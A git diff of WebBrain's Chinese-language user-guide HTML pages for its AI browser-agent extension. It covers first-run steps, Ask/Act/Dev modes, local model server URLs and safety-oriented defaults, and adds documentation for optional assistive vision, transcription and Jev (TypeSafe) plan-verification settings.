<section class="doc-section" id="first-run"><div class="eyebrow">第一次运行</div><h2>前十分钟</h2><ol class="step-list"><li><strong>打开你想处理的网页。</strong>点击 WebBrain 图标,让侧边栏与网页并排显示。</li><li><strong>先留在“询问”模式。</strong>例如:“总结本页”“列出重要日期”“比较表格中的套餐”。询问模式可以阅读,但不会点击或输入。</li><li><strong>需要改动网页时再切到“执行”。</strong>例如:“在搜索框输入 wireless headphones 并搜索”。在新网站进行关键操作前,WebBrain 会请求权限。</li><li><strong>观察过程。</strong>随时使用停止按钮或 <kbd>Escape</kbd> 中止。遇到意外跳转、输入或重复动作,应立即停止。</li><li><strong>有明确需求时才打开设置。</strong>内置云提供商与推荐安全默认值足够完成第一次任务。</li></ol><div class="callout tip"><strong class="callout-title">好的提示词要写清结果</strong><p>“找到退款政策,并告诉我促销商品是否适用”比“看看这个网站”更容易验证。写明目标,也写明 WebBrain 不应越过的边界。</p></div></section>
<section class="doc-section" id="modes"><h2>先选模式,再发提示词</h2><div class="mode-strip"><div class="mode ask"><strong>询问 Ask</strong><span>阅读、解释、比较、提取;不改变网页。</span></div><div class="mode act"><strong>执行 Act</strong><span>点击、输入、导航、下载、安排任务。</span></div><div class="mode dev"><strong>开发 Dev</strong><span>增加源码、样式、DOM、框架和调试工具。</span></div></div></section>
- <section class="doc-section" id="settings-map"><div class="eyebrow">它是一张地图,不是检查清单</div><h2>六个设置标签页</h2><div class="settings-map" aria-label="设置深度地图"><div class="setting-node everyday"><strong>常规</strong><span>行为与体验</span></div><div class="setting-node everyday"><strong>提供商</strong><span>当前模型</span></div><div class="setting-node sometimes"><strong>多模态</strong><span>视觉与语音</span></div><div class="setting-node sometimes"><strong>记忆</strong><span>持久信息</span></div><div class="setting-node expert"><strong>技能</strong><span>受信任扩展</span></div><div class="setting-node everyday"><strong>权限</strong><span>允许操作的网站</span></div></div><div class="depth-legend"><span>日常控制</span><span class="sometimes">按需使用</span><span class="expert">高级信任决定</span></div><div class="callout"><strong class="callout-title">安全基线</strong><p>“执行前计划”保留为“尝试计划”,计划审查使用置信度阈值,计划任务确认保持开启,“关键操作前询问”保持开启。其他选项可以先不改。</p></div></section>
+ <section class="doc-section" id="settings-map"><div class="eyebrow">它是一张地图,不是检查清单</div><h2>六个设置标签页</h2><div class="settings-map" aria-label="设置深度地图"><div class="setting-node everyday"><strong>常规</strong><span>行为与体验</span></div><div class="setting-node everyday"><strong>提供商</strong><span>当前模型</span></div><div class="setting-node sometimes"><strong>辅助模型</strong><span>视觉、语音与 Jev</span></div><div class="setting-node sometimes"><strong>记忆</strong><span>持久信息</span></div><div class="setting-node expert"><strong>技能</strong><span>受信任扩展</span></div><div class="setting-node everyday"><strong>权限</strong><span>允许操作的网站</span></div></div><div class="depth-legend"><span>日常控制</span><span class="sometimes">按需使用</span><span class="expert">高级信任决定</span></div><div class="callout"><strong class="callout-title">安全基线</strong><p>“执行前计划”保留为“尝试计划”,计划审查使用置信度阈值,计划任务确认保持开启,“关键操作前询问”保持开启。其他选项可以先不改。</p></div></section>
<nav class="next-links" aria-label="后续指南"><a href="/docs/zh/settings/"><span>下一篇</span>设置说明 →</a><a href="/docs/zh/safety/"><span>推荐阅读</span>模式、安全与隐私 →</a></nav>
</main>
<aside class="on-this-page" aria-label="本页内容"><h2>本页内容</h2><a href="#first-run">前十分钟</a><a href="#modes">选择模式</a><a href="#settings-map">设置地图</a></aside>
diff --git a/web/docs/zh/providers/index.html b/web/docs/zh/providers/index.html
index 654bc9fbc..c4e66bca3 100644
--- a/web/docs/zh/providers/index.html
+++ b/web/docs/zh/providers/index.html
@@ -20,6 +20,7 @@
<section class="doc-section" id="local"><h2>本地模型的额外环节</h2><div class="table-wrap"><table><thead><tr><th>服务器</th><th>常见 Base URL</th><th>API 密钥</th></tr></thead><tbody><tr><td>llama.cpp</td><td><code>http://localhost:8080</code></td><td>通常不需要</td></tr><tr><td>Ollama</td><td><code>http://localhost:11434/v1</code></td><td>不需要</td></tr><tr><td>LM Studio</td><td><code>http://localhost:1234/v1</code></td><td>不需要</td></tr><tr><td>Jan</td><td><code>http://localhost:1337/v1</code></td><td>可选</td></tr><tr><td>vLLM</td><td><code>http://localhost:8000/v1</code></td><td>可选</td></tr><tr><td>SGLang</td><td><code>http://localhost:30000/v1</code></td><td>可选</td></tr></tbody></table></div><div class="callout warning"><strong class="callout-title">终端可用,不代表扩展一定可访问</strong><p>连接被拒绝通常是服务器未启动或端口错误;CORS/Origin 错误需要允许浏览器扩展来源。Ollama 常用:<code>OLLAMA_ORIGINS="chrome-extension://*,moz-extension://*" ollama serve</code>。</p></div></section>
<section class="doc-section" id="tiers"><h2>提示层级</h2><div class="mode-strip"><div class="mode ask"><strong>Compact</strong><span>最短提示与最小工具面,适合约 8k 上下文的小型本地模型。</span></div><div class="mode act"><strong>Mid</strong><span>包含常见浏览器任务、iframe、下载、计划任务和表单验证。推荐的本地起点。</span></div><div class="mode dev"><strong>Full</strong><span>增加 hover、拖放、框架与 Shadow DOM 等高级回退工具。</span></div></div><p>云提供商固定使用 Full;本地提供商默认 Mid;Compact 提供商不能使用 Dev 模式。</p></section>
<section class="doc-section" id="troubleshoot"><h2>测试连接失败时</h2><ol><li><strong>Connection refused:</strong>启动本地服务器并确认端口。</li><li><strong>CORS/Origin:</strong>在服务器中允许 WebBrain 扩展来源。</li><li><strong>Unauthorized:</strong>确认密钥与 Base URL 属于同一提供商。</li><li><strong>Model not found:</strong>复制精确模型 ID,或使用 Load models。</li><li><strong>超时:</strong>为大型 CPU 本地模型提高常规请求超时。</li><li><strong>几轮后失败:</strong>确认真实上下文窗口,降低提示层级或扩大模型上下文。</li></ol></section>
+ <section class="doc-section" id="assistive-models"><h2>可选的辅助模型</h2><p>当前提供商负责主要对话、规划和最终回复。在<strong>设置 → 辅助模型</strong>中,可独立配置<strong>视觉</strong>模型、<strong>语音转文字</strong>端点或 <strong>Jev (TypeSafe)</strong>。这些设置不受提供商筛选或切换影响。</p><p>Jev 提供可选的计划验证,以及独立且默认关闭的快速分类与实验性浏览器操作。现有权限与完成检查仍然适用,尚未验证真实速度收益。配置方法和数据共享说明见<a href="/docs/zh/settings/#multimodal">辅助模型设置</a>。</p></section>
<nav class="next-links" aria-label="后续指南"><a href="/docs/zh/settings/"><span>上一篇</span>← 设置说明</a><a href="/docs/zh/safety/"><span>下一篇</span>模式、安全与隐私 →</a></nav>
</main><aside class="on-this-page" aria-label="本页内容"><h2>本页内容</h2><a href="#choice">快速选择</a><a href="#catalog">提供商目录</a><a href="#setup">配置步骤</a><a href="#fields">字段</a><a href="#local">本地模型</a><a href="#tiers">提示层级</a><a href="#troubleshoot">排错</a></aside>
</div><footer class="site-footer"><div class="footer-inner"><span>WebBrain 用户指南</span><div class="footer-links"><a href="/privacy">隐私</a><a href="https://github.com/webbrain-one/webbrain/issues">报告问题</a></div></div></footer><script src="/docs/assets/docs.js?v=20260809"></script>
diff --git a/web/docs/zh/settings/index.html b/web/docs/zh/settings/index.html
index 251bf1f29..adc980efc 100644
--- a/web/docs/zh/settings/index.html
+++ b/web/docs/zh/settings/index.html
@@ -12,16 +12,20 @@
<body class="doc-page">
<a class="skip-link" href="#main">跳到正文</a><header class="site-header"><div class="header-inner"><a class="brand" href="/"><img src="/logo-github.png" alt=""><span>WebBrain</span><span class="brand-docs">用户指南</span></a><nav class="top-nav" aria-label="主导航"><a href="/">首页</a><a href="/docs/zh/" aria-current="page">文档</a><a href="/blog/">博客</a><a href="https://github.com/webbrain-one/webbrain">GitHub</a></nav><div class="header-tools"><a class="lang-switch" href="/docs/settings/" aria-label="Read in English"><span>EN</span><span class="active">中文</span></a><button class="icon-button" type="button" data-theme-toggle aria-label="切换主题">☀</button><button class="sidebar-toggle" type="button" data-sidebar-toggle aria-expanded="false" aria-label="打开文档菜单">☰</button></div></div></header>
<div class="docs-shell"><aside class="docs-sidebar" aria-label="文档目录"><div class="sidebar-group"><div class="sidebar-label">从这里开始</div><nav><a href="/docs/zh/">概览</a><a href="/docs/zh/faq/">常见问题</a></nav></div><div class="sidebar-group"><div class="sidebar-label">使用 WebBrain</div><nav><a href="/docs/zh/settings/" aria-current="page">设置说明</a><a href="/docs/zh/providers/">提供商与模型</a><a href="/docs/zh/easy-cli-proxy/">订阅代理</a><a href="/docs/zh/safety/">模式、安全与隐私</a><a href="/docs/zh/apocalypse-mode/">末日模式</a><a href="/docs/zh/formats/">导出与工作流</a><a href="/docs/zh/mcp/">MCP 服务器</a><a href="/docs/zh/lm-studio/">LM Studio 插件</a><a href="/docs/zh/ollama/">Ollama</a></nav></div><div class="sidebar-group"><div class="sidebar-label">社区</div><nav><a href="https://discord.gg/cgC325ssfw">Discord 支持</a></nav></div></aside>
- <main class="doc-main" id="main"><div class="breadcrumb"><a href="/docs/zh/">文档</a> / 设置</div><section class="doc-hero"><div class="eyebrow">不再猜测设置含义</div><h1>知道该改什么,也知道什么可以不动。</h1><p class="lede">从侧边栏齿轮或浏览器扩展选项打开设置。大多数人主要使用“常规”“提供商”和“权限”;其他标签页用于解决特定问题。</p><div class="meta">截图来自 WebBrain 22.3.1 英文界面 · 中文界面的控件位置相同 · 示例不含真实凭据</div></section>
+ <main class="doc-main" id="main"><div class="breadcrumb"><a href="/docs/zh/">文档</a> / 设置</div><section class="doc-hero"><div class="eyebrow">不再猜测设置含义</div><h1>知道该改什么,也知道什么可以不动。</h1><p class="lede">从侧边栏齿轮或浏览器扩展选项打开设置。大多数人主要使用“常规”“提供商”和“权限”;其他标签页用于解决特定问题。</p><div class="meta">截图来自辅助模型设置更新后的英文界面 · 中文界面的控件位置相同 · 合成示例不含真实凭据</div></section>
<section class="doc-section" id="defaults"><h2>适合大多数人的默认值</h2><div class="table-wrap"><table><thead><tr><th>控制项</th><th>推荐值</th><th>原因</th></tr></thead><tbody><tr><td>执行前计划</td><td>尝试计划</td><td>有计划时使用;如果规划器格式化失败,安全回退到只读轮次。</td></tr><tr><td>计划审查</td><td>低于置信度阈值时停止</td><td>不确定的计划暂停,可靠计划可继续。</td></tr><tr><td>审查阈值</td><td>90%</td><td>在监督与流畅度之间较保守的平衡。</td></tr><tr><td>最大代理步骤</td><td>130</td><td>足够处理多步骤工作;出现重复时仍应手动停止。</td></tr><tr><td>LLM 请求超时</td><td>120 秒</td><td>云模型通常更快,大型本地模型启动可能更慢。</td></tr><tr><td>计划任务关键操作确认</td><td>开启</td><td>无人值守任务仍会在关键操作前暂停。</td></tr><tr><td>权限闸门</td><td>开启</td><td>首次在网站执行特定操作前询问,并记住你的明确选择。</td></tr></tbody></table></div></section>
<section class="doc-section" id="general"><div class="eyebrow">日常使用</div><h2>常规:代理如何行动</h2><figure class="shot"><a href="/docs/assets/screenshots/settings-general.jpg"><img src="/docs/assets/screenshots/settings-general.jpg" alt="WebBrain 常规设置英文界面,包含语言、外观、计划、计划审查和置信度"></a><figcaption>常规标签页顶部是最常用的控制项。点击可查看原图。</figcaption></figure><p><strong>尝试计划</strong>适合日常使用;<strong>严格计划</strong>会在无法生成有效计划时取消任务;<strong>关闭</strong>会省去一次规划调用,但也失去计划审查节点。</p><p>步骤上限统计一条消息中的工具调用步骤,不是聊天消息数。请求超时只限制模型开始响应前的等待时间,不会中断已经开始流式输出的响应。</p><div class="callout warning"><strong class="callout-title">无限步骤不等于更可靠</strong><p>∞ 只会移除机械停止点,不会让模型更不容易循环。除非你正在全程监督长任务,否则保留有限上限。</p></div></section>
<section class="doc-section" id="advanced"><div class="eyebrow">高级抽屉</div><h2>高级:带着明确目的再打开</h2><figure class="shot"><a href="/docs/assets/screenshots/settings-advanced.jpg"><img src="/docs/assets/screenshots/settings-advanced.jpg" alt="通过搜索定位到严格秘密处理高级设置"></a><figcaption>搜索框会自动展开匹配的高级设置,让选项与完整说明一起显示。</figcaption></figure><div class="table-wrap"><table><thead><tr><th>设置</th><th>通常保持</th><th>何时修改</th></tr></thead><tbody><tr><td>截图回退</td><td>视觉模型可用时开启</td><td>DOM 读取遗漏图表、画布或视觉内容。</td></tr><tr><td>网站适配器</td><td>开启</td><td>调试令牌使用或禁用站点专用提示。</td></tr><tr><td>API 变更观察器</td><td>关闭</td><td>研究重复 UI 操作与 API 快捷建议。</td></tr><tr><td>自动截图</td><td>状态变化时</td><td>需要更低图像成本,或每一步都要截图。</td></tr><tr><td>记录追踪</td><td>关闭</td><td>比较模型或诊断运行,并接受本地存储。</td></tr><tr><td>严格秘密处理</td><td>个人日常使用时关闭</td><td>屏幕共享或导出追踪,不希望凭据被引用。</td></tr><tr><td>允许访问本地网络</td><td>关闭</td><td>必须访问 localhost、内网或私有地址。</td></tr><tr><td>CAPTCHA 求解</td><td>关闭</td><td>你明确配置并充值 CapSolver。</td></tr></tbody></table></div></section>
<section class="doc-section" id="providers"><div class="eyebrow">日常使用</div><h2>提供商:选择当前模型</h2><p>一次只有一个提供商处于活动状态。正确顺序是 <strong>保存 → 测试连接 → 设为活动</strong>。</p><figure class="shot"><a href="/docs/assets/screenshots/settings-providers.jpg"><img src="/docs/assets/screenshots/settings-providers.jpg" alt="WebBrain 提供商列表英文界面,包含分类筛选、搜索和当前活动提供商"></a><figcaption>即使使用分类筛选,当前活动提供商也会保留在列表中。</figcaption></figure><p>本地服务器地址、上下文窗口和提示层级见<a href="/docs/zh/providers/">提供商与模型</a>。</p></section>
- <section class="doc-section" id="multimodal"><div class="eyebrow">按需使用</div><h2>多模态:分别配置视觉与转录</h2><p><strong>视觉</strong>可把截图交给独立的 OpenAI 兼容视觉端点,而当前提供商继续负责规划和工具调用。留空则使用当前提供商。</p><p><strong>转录</strong>为录音提供 Whisper 兼容端点。留空时依次尝试 OpenAI、Groq、LM Studio、llama.cpp。</p></section>
+ <section class="doc-section" id="multimodal"><div class="eyebrow">按需使用</div><h2>辅助模型:支持主要代理</h2><p>在<strong>提供商</strong>中选择主要对话模型;在<strong>设置 → 辅助模型</strong>中配置以下可选功能。配置辅助模型不会改变当前提供商。</p>
+ <h3>视觉</h3><p>可将截图交给独立的 OpenAI 兼容端点,而当前提供商继续负责规划和工具调用。Chrome 还提供可选的本地视觉模型。两项均未设置时使用当前提供商。截图限制与截图打码也归在视觉部分。</p><figure class="shot"><a href="/docs/assets/screenshots/settings-assistive-models.jpg"><img src="/docs/assets/screenshots/settings-assistive-models.jpg" alt="辅助模型英文界面,显示视觉与截图控制项"></a><figcaption>依次为视觉、语音转文字和 Jev (TypeSafe)。本地视觉选项仅在 Chrome 中提供。</figcaption></figure>
+ <h3>语音转文字</h3><p>为录音配置 Whisper 兼容端点。留空时依次尝试已配置的 OpenAI、Groq、LM Studio、llama.cpp。</p>
+ <h3>Jev (TypeSafe)</h3><p>在<strong>设置 → 辅助模型 → Jev (TypeSafe)</strong>中填写 TypeSafe API 密钥,并分别开启需要的功能。计划监控与计划任务完成验证使用有限的页面观察来检查结果。概率阈值位于该卡片的“高级”部分。</p><p><strong>快速分类</strong>和<strong>快速浏览器操作(实验性)</strong>是独立开关,默认关闭。它们保留现有规划、权限与完成检查。尚无真实模型基准测试证实普遍的速度提升。</p><p>点击<strong>保存</strong>存储配置;<strong>测试连接</strong>仅用固定示例数据发送一次请求;<strong>删除密钥</strong>会清除密钥并重置 Jev 选项。关闭 Jev 总开关会保留各项偏好。启用后,有限的任务与页面数据会发送给 TypeSafe,可能产生费用;严格秘密模式会禁用 Jev。</p><figure class="shot"><a href="/docs/assets/screenshots/settings-jev.jpg"><img src="/docs/assets/screenshots/settings-jev.jpg" alt="Jev 英文设置界面,计划验证和独立的快速决策选项均关闭"></a><figcaption>Jev 是可选的辅助模型。示例未填写 API 密钥,全部 Jev 功能均关闭。</figcaption></figure>
+ </section>
<section class="doc-section" id="memory"><div class="eyebrow">按需使用</div><h2>记忆:决定哪些信息长期保留</h2><figure class="shot"><a href="/docs/assets/screenshots/settings-memory.jpg"><img src="/docs/assets/screenshots/settings-memory.jpg" alt="WebBrain 记忆设置英文界面,显示加密云同步与个人资料自动填充"></a><figcaption>记忆标签页包含加密同步、个人资料自动填充和用户记忆三种不同功能。</figcaption></figure><ul><li><strong>加密云同步</strong>面向 WebBrain Compass 会员;支持的提供商密钥、个人资料和记忆会在上传前用同步密码加密。聊天历史与 OAuth 登录不会同步。</li><li><strong>个人资料自动填充</strong>以明文保存在当前浏览器配置中,启用后会发送给当前模型提供商。</li><li><strong>用户记忆</strong>保存稳定偏好;<code>/memory --add</code> 会立即保存,自动学习是可选项。</li></ul><div class="callout danger"><strong class="callout-title">不要把记忆当作密码管理器</strong><p>不要在个人资料或用户记忆中存放密码、API 密钥、令牌、恢复码等秘密。</p></div></section>
<section class="doc-section" id="skills"><div class="eyebrow">信任决定</div><h2>技能:附加指令与工具</h2><p>技能可以把指令加入系统提示;含 <code>webbrain-tools</code> 清单的技能还可暴露 HTTP 或下载任务工具。导入本身就是信任决定,只导入你信任的来源。</p></section>
<section class="doc-section" id="permissions"><div class="eyebrow">日常安全</div><h2>权限:WebBrain 可以在哪里做什么</h2><p>保持“关键操作前询问”开启。每条永久授权都对应一个明确的“网站 + 能力”组合;允许点击并不自动允许输入、下载、上传、执行 JavaScript 或安排任务。</p><figure class="shot"><a href="/docs/assets/screenshots/settings-permissions.jpg"><img src="/docs/assets/screenshots/settings-permissions.jpg" alt="WebBrain 权限设置英文界面,显示总开关与按网站记录的能力授权"></a><figcaption>撤销单项后,WebBrain 下次需要该能力时会重新询问。</figcaption></figure></section>
<nav class="next-links" aria-label="后续指南"><a href="/docs/zh/providers/"><span>下一篇</span>提供商与模型 →</a><a href="/docs/zh/safety/"><span>同样重要</span>模式、安全与隐私 →</a></nav>
- </main><aside class="on-this-page" aria-label="本页内容"><h2>本页内容</h2><a href="#defaults">推荐默认值</a><a href="#general">常规</a><a href="#advanced">高级</a><a href="#providers">提供商</a><a href="#multimodal">多模态</a><a href="#memory">记忆</a><a href="#skills">技能</a><a href="#permissions">权限</a></aside>
+ </main><aside class="on-this-page" aria-label="本页内容"><h2>本页内容</h2><a href="#defaults">推荐默认值</a><a href="#general">常规</a><a href="#advanced">高级</a><a href="#providers">提供商</a><a href="#multimodal">辅助模型</a><a href="#memory">记忆</a><a href="#skills">技能</a><a href="#permissions">权限</a></aside>
</div><footer class="site-footer"><div class="footer-inner"><span>WebBrain 用户指南</span><div class="footer-links"><a href="/privacy">隐私</a><a href="https://github.com/webbrain-one/webbrain/issues">报告问题</a></div></div></footer><script src="/docs/assets/docs.js?v=20260809"></script>
</body></html>